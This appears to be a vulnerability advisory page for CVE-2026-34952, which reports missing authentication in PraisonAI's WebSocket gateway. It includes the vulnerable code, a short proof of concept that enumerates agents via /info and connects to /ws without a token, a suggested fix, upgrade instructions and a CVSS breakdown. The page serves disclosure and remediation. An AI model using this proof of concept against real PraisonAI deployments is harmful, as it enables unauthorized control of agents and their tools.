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CVE-2026-34952

CRITICAL

PraisonAI Has Missing Authentication in WebSocket Gateway

Published June 29, 2026Updated July 13, 2026Source: osv

Summary

### Summary The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. ### Details `gateway/server.py:242` (source) -> `gateway/server.py:250` (sink) ```python # source -- /info leaks all agent IDs with no auth async def info(request): return JSONResponse({ "agents": list(self._agents.keys()), "sessions": len(self._sessions), "clients": len(self._clients), }) # sink -- WebSocket accepted unconditionally, no token check async def websocket_endpoint(websocket: WebSocket): await websocket.accept() client_id = str(uuid.uuid4()) self._clients[client_id] = websocket # processes any message from any client ``` ### PoC ```bash # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai # start server: # python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" & # Step 1 - enumerate agents, no auth curl -s http://127.0.0.1:8765/info # expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0} # Step 2 - connect to WebSocket, no token python3 -c " import asyncio, websockets, json async def run(): async with websockets.connect('ws://127.0.0.1:8765/ws') as ws: print('Connected with no auth') await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'})) print(await asyncio.wait_for(ws.recv(), timeout=3)) asyncio.run(run()) " # expected output: Connected with no auth # {"type": ...} -- server responds, connection accepted ``` ### Impact Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler. ### Suggested Fix ```python async def websocket_endpoint(websocket: WebSocket): token = websocket.query_params.get("token") or \ websocket.headers.get("Authorization", "").removeprefix("Bearer ") if self._config.auth_token and token != self._config.auth_token: await websocket.close(code=4001, reason="Unauthorized") return await websocket.accept() ```

Remediation

Upgrade to the fixed version using your package manager.

pip
Update praisonai to 4.5.97 or later
pip install "praisonai>=4.5.97"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
praisonai
pypi
0.0.1, 0.0.10, 0.0.11, 0.0.12 (+652 more)4.5.97

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-34952?
PraisonAI Has Missing Authentication in WebSocket Gateway This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-34952?
CVE-2026-34952 affects praisonai. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34952 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

PYSEC-2026-474
GHSA-cfh6-vr3j-qc3g

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